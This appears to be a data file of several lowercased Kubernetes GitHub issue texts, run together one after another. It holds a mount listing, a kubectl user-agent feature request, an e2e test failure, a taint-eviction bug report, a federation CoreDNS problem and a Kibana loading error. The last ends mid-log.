rw,relatime,data=ordered  tmpfs on /run/lxcfs/controllers type tmpfs  rw,relatime,size=100k,mode=700  blkio on /run/lxcfs/controllers/blkio type cgroup  rw,relatime,blkio  cpuset on /run/lxcfs/controllers/cpuset type cgroup  rw,relatime,cpuset  devices on /run/lxcfs/controllers/devices type cgroup  rw,relatime,devices  cpu,cpuacct on /run/lxcfs/controllers/cpu,cpuacct type cgroup  rw,relatime,cpu,cpuacct  hugetlb on /run/lxcfs/controllers/hugetlb type cgroup  rw,relatime,hugetlb  pids on /run/lxcfs/controllers/pids type cgroup  rw,relatime,pids  freezer on /run/lxcfs/controllers/freezer type cgroup  rw,relatime,freezer  perf_event on /run/lxcfs/controllers/perf_event type cgroup  rw,relatime,perf_event  memory on /run/lxcfs/controllers/memory type cgroup  rw,relatime,memory  net_cls,net_prio on /run/lxcfs/controllers/net_cls,net_prio type cgroup  rw,relatime,net_cls,net_prio  name=systemd on /run/lxcfs/controllers/name=systemd type cgroup  rw,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd  lxcfs on /var/lib/lxcfs type fuse.lxcfs  rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/docker/overlay type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  nsfs on /run/docker/netns/default type nsfs  rw  tmpfs on /run/user/1000 type tmpfs  rw,nosuid,nodev,relatime,size=2881052k,mode=700,uid=1000,gid=1000  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  /dev/sda1 on /var/lib/kubelet type ext4  rw,relatime,discard,data=ordered  shm on /var/lib/docker/containers/586c9a54bfcdc962b3e842c37cf40d2e7b13a2e14838a440385bfbbce782416c/shm type tmpfs  rw,nosuid,nodev,noexec,relatime,size=65536k  binfmt_misc on /proc/sys/fs/binfmt_misc type binfmt_misc  rw,relatime  tracefs on /sys/kernel/debug/tracing type tracefs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  tmpfs on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~secret/default-token-5lsa4 type tmpfs  rw,relatime  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/kube-registry-disk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  /dev/sdc on /var/lib/kubelet/pods/a735c563-5d85-11e6-a470-000d3a926acc/volumes/kubernetes.io~azure-disk/disk-azuredisk type ext4  rw,relatime,data=ordered  shm on /var/lib/docker/containers/9da646e616dfe9098bf12883c88ce25e1030c20c993f1f1d45820738eaca2f71/shm type tmpfs  rw,nosuid,nodev,noexec,relatime,size=65536k  nsfs on /run/docker/netns/d34579b5a1bd type nsfs  rw

sometimes we determine that old kubectl versions are incompatible for some operation. it would be super convenient if apiserver could just look at user-agent to see what kubectl is trying to do.  example: rolling update issues rc create and deletes. it'd be great if we could block those without blocking ordinary create/delete.

when discussing the pr  33077, we decided that we would like to be able to use unix sockets in restclient. that will allow to use proxy server securely on local hosts.  that will be beneficial for this issue -  31178  @kubernetes/sig-cli @smarterclayton @fabianofranz

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2428/ failed:  k8s.io  emptydir volumes should support  non-root,0644,tmpfs   conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:81 expected error:     < errors.errorstring | 0xc420325cb0>: {         s: \ failed to get logs from pod-d0152f89-0545-11e7-a65a-42010a800019 for test-container: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-d0152f89-0545-11e7-a65a-42010a800019 \ ,     }     failed to get logs from pod-d0152f89-0545-11e7-a65a-42010a800019 for test-container: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-d0152f89-0545-11e7-a65a-42010a800019  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r    \r root@k8s001:~/cases/taint  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.2.718+3b8aac9b22f862\ , gitcommit:\ 3b8aac9b22f86288ebc40073c8705bd9d4484c33\ , gittreestate:\ clean\ , builddate:\ 2017-05-04t09:14:20z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.2.718+3b8aac9b22f862\ , gitcommit:\ 3b8aac9b22f86288ebc40073c8705bd9d4484c33\ , gittreestate:\ clean\ , builddate:\ 2017-05-04t09:14:20z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r    \r root@k8s001:~/cases/taint  kubectl get nodes -owide\r name      status    age       version                             external-ip   os-image           kernel-version\r k8s001    ready     28d       v1.7.0-alpha.2.718+3b8aac9b22f862   <none>        ubuntu 16.04 lts   4.4.0-72-generic\r k8s004    ready     28d       v1.7.0-alpha.2.718+3b8aac9b22f862   <none>        ubuntu 16.04 lts   4.4.0-75-generic\r    \r \r   what happened  :\r 1  enable  taintbasedevictions \r \r    \r /opt/bin/kube-controller-manager --logtostderr=false --log-dir=/var/log/kubernetes --v=4 --master=http://192.168.56.11:8080 --cluster-name=kubernetes --root-ca-file=/srv/kubernetes/ca.crt --service-account-private-key-file=/srv/kubernetes/server.key --feature-gates=taintbasedevictions=true\r    \r \r 2  create a pod.\r \r pod yaml\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: my-nginx\r   template:\r     metadata:\r       labels:\r         run: my-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r after deploy, it is running on  k8s004 \r    \r root@k8s001:~/cases/taint  kubectl get pods -owide\r name                        ready     status    restarts   age       ip                node\r my-nginx-1257052682-lkjpq   1/1       running   0          6m        192.168.124.147   k8s004\r    \r \r 3  add taint to  k8s004 \r \r    \r kubectl taint nodes k8s004 x=y:noexecute\r    \r \r    \r root@k8s001:~/cases/taint  kubectl describe nodes k8s004\r name:\t\t\tk8s004\r role:\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tkubernetes.io/hostname=k8s004\r \t\t\trole=ok\r annotations:\t\tnode.alpha.kubernetes.io/ttl=0\r \t\t\tvolumes.kubernetes.io/controller-managed-attach-detach=true\r taints:\t\t\tx=y:noexecute\r creationtimestamp:\tthu, 06 apr 2017 10:18:10 +0800\r conditions:\r   type\t\t\tstatus\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   outofdisk \t\tfalse \tthu, 04 may 2017 17:56:12 +0800 \tthu, 04 may 2017 17:03:14 +0800 \tkubelethassufficientdisk \tkubelet has sufficient disk space available\r   memorypressure \tfalse \tthu, 04 may 2017 17:56:12 +0800 \tthu, 04 may 2017 17:03:14 +0800 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \tthu, 04 may 2017 17:56:12 +0800 \tthu, 04 may 2017 17:03:14 +0800 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\ttrue \tthu, 04 may 2017 17:56:12 +0800 \tthu, 04 may 2017 17:26:50 +0800 \tkubeletready \t\t\tkubelet is posting ready status. apparmor enabled\r addresses:\r   legacyhostip:\t192.168.56.14\r   internalip:\t192.168.56.14\r   hostname:\tk8s004\r capacity:\r  cpu:\t\t4\r  memory:\t4046240ki\r  pods:\t\t110\r allocatable:\r  cpu:\t\t4\r  memory:\t3943840ki\r  pods:\t\t110\r system info:\r  machine id:\t\t\t1ed0241c581fcc54296c57315864e03e\r  system uuid:\t\t\tab6794ac-b3e9-4e95-80cb-9c7e64d2ab09\r  boot id:\t\t\t3dd022be-280b-4018-9929-8a9900ca359a\r  kernel version:\t\t4.4.0-75-generic\r  os image:\t\t\tubuntu 16.04 lts\r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.12.5\r  kubelet version:\t\tv1.7.0-alpha.2.718+3b8aac9b22f862\r  kube-proxy version:\t\tv1.7.0-alpha.2.718+3b8aac9b22f862\r externalid:\t\t\tk8s004\r non-terminated pods:\t\t 1 in total \r   namespace\t\t\tname\t\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t\t------------\t----------\t---------------\t-------------\r   default\t\t\tmy-nginx-1257052682-lkjpq\t\t0  0% \t\t0  0% \t\t0  0% \t\t0  0% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   0  0% \t0  0% \t\t0  0% \t\t0  0% \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   52m\t\t52m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   52m\t\t52m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   52m\t\t52m\t\t2\tkubelet, k8s004\t\t\t\tnormal\t\tnodehassufficientdisk\tnode k8s004 status is now: nodehassufficientdisk\r   52m\t\t52m\t\t2\tkubelet, k8s004\t\t\t\tnormal\t\tnodehassufficientmemory\tnode k8s004 status is now: nodehassufficientmemory\r   52m\t\t52m\t\t2\tkubelet, k8s004\t\t\t\tnormal\t\tnodehasnodiskpressure\tnode k8s004 status is now: nodehasnodiskpressure\r   52m\t\t52m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodenotready\t\tnode k8s004 status is now: nodenotready\r   52m\t\t52m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodeready\t\tnode k8s004 status is now: nodeready\r   29m\t\t29m\t\t1\tkube-proxy, k8s004\t\t\tnormal\t\tstarting\t\tstarting kube-proxy.\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tstarting\t\tstarting kubelet.\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodeallocatableenforced\tupdated node allocatable limit across pods\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodehassufficientdisk\tnode k8s004 status is now: nodehassufficientdisk\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodehassufficientmemory\tnode k8s004 status is now: nodehassufficientmemory\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodehasnodiskpressure\tnode k8s004 status is now: nodehasnodiskpressure\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodenotready\t\tnode k8s004 status is now: nodenotready\r   29m\t\t29m\t\t1\tkubelet, k8s004\t\t\t\tnormal\t\tnodeready\t\tnode k8s004 status is now: nodeready\r    \r \r 4  the pod running on  k8s004  does not get evicted.\r \r    \r root@k8s001:~/cases/taint  kubectl get pods -owide\r name                        ready     status    restarts   age       ip                node\r my-nginx-1257052682-lkjpq   1/1       running   0          8m        192.168.124.147   k8s004\r root@k8s001:~/cases/taint  kubectl describe pods\r name:\t\tmy-nginx-1257052682-lkjpq\r namespace:\tdefault\r node:\t\tk8s004/192.168.56.14\r start time:\tthu, 04 may 2017 17:48:29 +0800\r labels:\t\tpod-template-hash=1257052682\r \t\trun=my-nginx\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ my-nginx-1257052682\ ,\ uid\ :\ d3d8c316-30ae-11e7-993a-08002759511a...\r status:\t\trunning\r ip:\t\t192.168.124.147\r created by:\treplicaset/my-nginx-1257052682\r controlled by:\treplicaset/my-nginx-1257052682\r containers:\r   my-nginx:\r     container id:\tdocker://130537e470866308223620786b7abc266b24eb215c9211562d9ef98c5232294a\r     image:\t\tnginx:1.8.1\r     image id:\t\tdocker-pullable://nginx@sha256:9b3e9f189890ef9d6713c3384da3809731bdb0bff84e7b68da330ebadf533085\r     port:\t\t80/tcp\r     state:\t\trunning\r       started:\t\tthu, 04 may 2017 17:48:30 +0800\r     ready:\t\ttrue\r     restart count:\t0\r     environment:\t<none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-0qlw6  ro \r conditions:\r   type\t\tstatus\r   initialized \ttrue\r   ready \ttrue\r   podscheduled \ttrue\r volumes:\r   default-token-0qlw6:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-0qlw6\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\t\t\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t\t\t--------\t------\t\t-------\r   8m\t\t8m\t\t1\tdefault-scheduler\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned my-nginx-1257052682-lkjpq to k8s004\r   8m\t\t8m\t\t1\tkubelet, k8s004\t\tspec.containers{my-nginx}\tnormal\t\tpulled\t\tcontainer image \ nginx:1.8.1\  already present on machine\r   8m\t\t8m\t\t1\tkubelet, k8s004\t\tspec.containers{my-nginx}\tnormal\t\tcreated\t\tcreated container with id 130537e470866308223620786b7abc266b24eb215c9211562d9ef98c5232294a\r   8m\t\t8m\t\t1\tkubelet, k8s004\t\tspec.containers{my-nginx}\tnormal\t\tstarted\t\tstarted container with id 130537e470866308223620786b7abc266b24eb215c9211562d9ef98c5232294a\r root@k8s001:~/cases/taint \r    \r \r i also test another automatic case by killing  kubelet  on  k8s004 , and i can see the  controller-manager  add a taint  node.alpha.kubernetes.io/unreachable:noexecute , but the pods also does not get evicted.\r \r   what you expected to happen  :\r pods should be evicted.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

kubernetes version  use kubectl version :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r environment:\r \r cloud provider or hardware configuration: no cloud provider ,just bare mental\r os  e.g. from /etc/os-release : centos 7.2\r kernel  e.g. uname -a : 3.10.0-327.el7.x86_64\r install tools: coredns\r others:\r what happened:\r in office data center, there is no cloud provider , just run on bare mental,  federation service configured nodeport can not be create in the etcd which is used for federation controller manager and coredns, so coredns container logs always says skydns2 not found, so the service discovery cross cluster can not complete. \r \r what you expected to happen:\r i expect federation service configured nodeport can be used for service discovery cross cluster and data center.

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \ kibana is loading\   \ kibana 404 status\  \ kibana spinning\ \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+coreos.0\ , gitcommit:\ 8996efde382d88f0baef1f015ae801488fcad8c4\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t21:11:20z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r openstack vms\r -   os    e.g. from /etc/os-release :\r cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r \r -   kernel    e.g.  uname -a  :\r $ uname -a\r linux weiwensandbox 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r kargo\r -   others  :\r \r \r   what happened  :\r kibana ui is at loading state forever\r \r   what you expected to happen  :\r kibana ui can load\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. install k8s cluster with the latest kargo at https://github.com/kubernetes-incubator/kubespray\r 2. bring up kibana ui\r \r   anything else we need to know  :\r versions:\r kibana: 4.6.1\r es: 2.4.1\r kubernetes: 1.6.4\r $ kubectl cluster-info\r kubernetes master is running at http://localhost:8080\r elasticsearch is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/elasticsearch-logging\r kibana is running at \r http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kibana-logging\r kubedns is running at http://localhost:8080/api/v1/proxy/namespaces/kube-system/services/kubedns\r \r when i access ui http://kibana.mycompany.local/app/kibana, kibana backend sends out the following logs and ui is at \ kibana is loading\  state forever:\r \r {\ type\ :\ response\ ,\ @timestamp\ :\ 2017-06-21t15:23:51z\ ,\ tags\ :  ,\ pid\ :7,\ method\ :\ get\ ,\ statuscode\ :200,\ req\ :{\ url\ :\ /app/kibana\ ,\ method\ :\ get\ ,\ headers\ :{\ host\ :\ kibana.mycompany.local\ ,\ connection\ :\ close\ ,\ x-real-ip\ :\ 172.27.31.228\ ,\ x-forwarded-for\ :\ 172.27.31.228\ ,\ x-forwarded-host\ :\ kibana.mycompany.local\ ,\ x-forwarded-port\ :\ 80\ ,\ x-forwarded-proto\ :\ http\ ,\ x-original-uri\ :\ /app/kibana\ ,\ x-scheme\ :\ http\ ,\ cache-control\ :\ max-age=0\ ,\ upgrade-insecure-requests\ :\ 1\ ,\ user-agent\ :\ mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/57.0.2987.133 safari/537.36\ ,\ accept\ :\ text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8\ ,\ accept-encoding\ :\ gzip, deflate, sdch\ ,\ accept-language\ :\ en-us,en;q=0.8,zh-cn;q=0.6\ },\ remoteaddress\ :\ 10.0.0.12\ ,\ useragent\ :\ 10.0.0.12\ },\ res\ :{\ statuscode\ :200,\ responsetime\ :7,\ contentlength\ :9},\ message\ :\ get /app/kibana 200 7ms - 9.0b\ }\r {\ type\ :\ response\ ,\ @timestamp\ :\ 2017-06-21t15:23:51z\ ,\ tags\ :  ,\ pid\ :7,\ method\ :\ get\ ,\ statuscode\ :404,\ req\ :{\ url\ :\ /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/commons.bundle.js?v=10146\ ,\ method\ :\ get\ ,\ headers\ :{\ host\ :\ kibana.mycompany.local\ ,\ connection\ :\ close\ ,\ x-real-ip\ :\ 172.27.31.228\ ,\ x-forwarded-for\ :\ 172.27.31.228\ ,\ x-forwarded-host\ :\ kibana.mycompany.local\ ,\ x-forwarded-port\ :\ 80\ ,\ x-forwarded-proto\ :\ http\ ,\ x-original-uri\ :\ /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/commons.bundle.js?v=10146\ ,\ x-scheme\ :\ http\ ,\ user-agent\ :\ mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/57.0.2987.133 safari/537.36\ ,\ accept\ :\ /\ ,\ referer\ :\ http://kibana.mycompany.local/app/kibana\ ,\ accept-encoding\ :\ gzip, deflate, sdch\ ,\ accept-language\ :\ en-us,en;q=0.8,zh-cn;q=0.6\ },\ remoteaddress\ :\ 10.0.0.12\ ,\ useragent\ :\ 10.0.0.12\ ,\ referer\ :\ 